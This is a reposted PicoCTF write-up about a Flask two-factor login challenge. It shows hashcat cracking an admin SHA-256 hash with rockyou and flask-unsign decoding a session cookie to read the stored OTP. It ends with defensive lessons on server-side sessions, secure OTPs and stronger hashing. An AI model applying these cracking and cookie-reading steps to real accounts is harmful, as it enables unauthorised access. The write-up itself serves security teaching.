惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

N
Netflix TechBlog - Medium
IT之家
IT之家
博客园_首页
Hugging Face - Blog
Hugging Face - Blog
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
美团技术团队
小众软件
小众软件
博客园 - 叶小钗
WordPress大学
WordPress大学
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
博客园 - 三生石上(FineUI控件)
罗磊的独立博客
博客园 - Franky
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
Last Week in AI
Last Week in AI
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
有赞技术团队
有赞技术团队
T
Tailwind CSS Blog
宝玉的分享
宝玉的分享
博客园 - 【当耐特】
月光博客
月光博客
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
酷 壳 – CoolShell
酷 壳 – CoolShell
人人都是产品经理
人人都是产品经理

DEV Community

Authentication Security Deep Dive: From Brute Force to Salted Hashing (With Java Examples) Why AI Systems Don’t Fail — They Drift Spilling beans for how i learn for exam😁"Reinforcement Learning Cheat Sheet" I Replaced Chrome with Safari for AI Browser Automation. Here's What Broke (and What Finally Worked) How Python Borrows Other People's Work The $40 Architecture: Processing 1 Billion API Requests with 99.99% Uptime Vibe Coding: A Workflow Guide (From Zero to SaaS) Most webhook security guides protect the wrong side. The scary part is delivery. Headless CMS for TanStack Start: Build a Blog with Cosmic EU Age Verification App "Hacked in 2 Minutes" — What Actually Happened Comfy Cloud’s delete function does not actually remove files Running AI Models on GPU Cloud Servers: A Beginner Guide Event-driven media intelligence with AWS Step Functions and Bedrock I scored 500 AI prompts across 8 quality dimensions — here's what broke How to Call Google Gemini API from Next.js (Free Tier, No Backend Needed) The Portal Protocol: Reclaiming Human Connection in the Age of AI How to Fix Your Team's Scattered Knowledge Problem With a Self-Hosted Forum Intro to tc Cloud Functors: A Graph-First Mental Model for the Modern Cloud Designing Multi-Tenant Backends With Both Ownership and Team Access I Built a Neumorphic CSS Library with 77+ Components — Here's What I Learned PostgreSQL Performance Optimization: Why Connection Pooling Is Critical at Scale Cómo construí un SaaS multi-rubro para gestionar expensas en Argentina con FastAPI + Vue 3 🚀 I Built an Ethical Hacking Scanner Tool – Open Source Project I Replaced /usage and /context in Claude Code With a Single Statusline A Pythonic Way to Handle Emails (IMAP/SMTP) with Auto-Discovery and AI-Ready Design I Collected 8.9 Million Polymarket Price Points — Here's What I Found About How Markets Really Move EcoTrack AI — Carbon Footprint Tracker & Dashboard Everyone's Using AI. No One Agrees How. 5 self-hosted ebook managers worth trying in 2026 Building Your First AI Agent with LangChain: From Chatbot to Autonomous Assistant
PicoCTF Web Challenge Writeup: NO FA
Yogeshwar Pe · 2026-05-27 · via DEV Community
Cover image for PicoCTF Web Challenge Writeup: NO FA

Yogeshwar Peela

Overview

We're given a Flask web application with a login system and 2FA (Two-Factor Authentication). The goal is to log in as admin and retrieve the flag.

Category: Web Exploitation | Difficulty: Medium | Tools: hashcat, flask-unsign, sqlite3

Files provided:

  • app.py — Flask application source code
  • users.db — SQLite database with user credentials

Step 1 — Recon: Examining the Database

sqlite3 users.db

Enter fullscreen mode Exit fullscreen mode

.mode column
.headers on
SELECT * FROM users;

Enter fullscreen mode Exit fullscreen mode

Key observations:

  • admin is the only account with two_fa = 1
  • Admin uses a different domain (nfs.com vs nfa.com for regular users)
  • The admin password is stored as a SHA-256 hash: c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67

Step 2 — Cracking the Password Hash

The 64-character hash is SHA-256 (-m 1400 in hashcat):

hashcat -m 1400 c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67 /usr/share/wordlists/rockyou.txt

Enter fullscreen mode Exit fullscreen mode

Result — cracked in under 5 seconds:

c20fa169...ab67:apple@123

Enter fullscreen mode Exit fullscreen mode

Password: apple@123


Step 3 — Analyzing the 2FA Code

Looking at app.py, the OTP generation stood out immediately:

# OTP Generation
otp = str(random.randint(1000, 9999))  # Only 9000 possible values!
session['otp_secret'] = otp            # Stored in SESSION COOKIE
session['otp_timestamp'] = time.time()

Enter fullscreen mode Exit fullscreen mode

# OTP Verification
if stored_otp and otp == stored_otp and (time.time() - timestamp) < 120:

Enter fullscreen mode Exit fullscreen mode

Two critical vulnerabilities here:

  1. Tiny keyspace — only 9,000 possible OTP values (1000–9999), trivially brute-forceable
  2. OTP stored in the client-side session cookie — Flask session cookies are base64-encoded and fully readable without the secret key

Step 4 — Reading the OTP from the Session Cookie

After logging in with admin / apple@123, the server redirects to /two_fa and sets a session cookie. Grab it from Browser DevTools → Application → Cookies, then decode it:

pipx install flask-unsign
flask-unsign --decode --cookie "<cookie_value>"

Enter fullscreen mode Exit fullscreen mode

Output:

{
  "logged": "false",
  "otp_secret": "1149",
  "otp_timestamp": 1779522221.27,
  "username": "admin"
}

Enter fullscreen mode Exit fullscreen mode

The OTP (1149) is sitting right there in plaintext.

Flask signs cookies to prevent tampering — but it does not encrypt them. Anyone can read the contents without knowing the secret key.


Step 5 — Submitting the OTP

Navigated to /two_fa, entered 1149, and got:

Login successful!

Enter fullscreen mode Exit fullscreen mode

Flag captured!


Vulnerability Summary

1. Weak password (apple@123) — Present in rockyou.txt, leads to full credential compromise.

2. OTP stored in unencrypted session cookie — The most critical flaw. The OTP is readable by any client without needing the server's secret key.

3. Small OTP keyspace (9,000 values) — Even without cookie access, this is brute-forceable in seconds.

4. No rate limiting on /two_fa — No protection against automated OTP guessing.


Lessons Learned

  • Never store secrets in Flask session cookies. They are signed, not encrypted. Use server-side sessions (Flask-Session with Redis or a database backend) to keep sensitive data off the client.
  • Use cryptographically secure OTP generation. Replace random.randint() with the secrets module — secrets.randbelow() or secrets.token_hex().
  • Enforce strong passwords. apple@123 should never pass any reasonable password policy. Use bcrypt or argon2 for hashing instead of raw SHA-256.
  • Adopt TOTP standards. Rolling your own OTP system is risky. Use TOTP (RFC 6238) with libraries like pyotp, compatible with Google Authenticator and Authy.

Thanks for reading! If you found this helpful, consider following for more CTF writeups.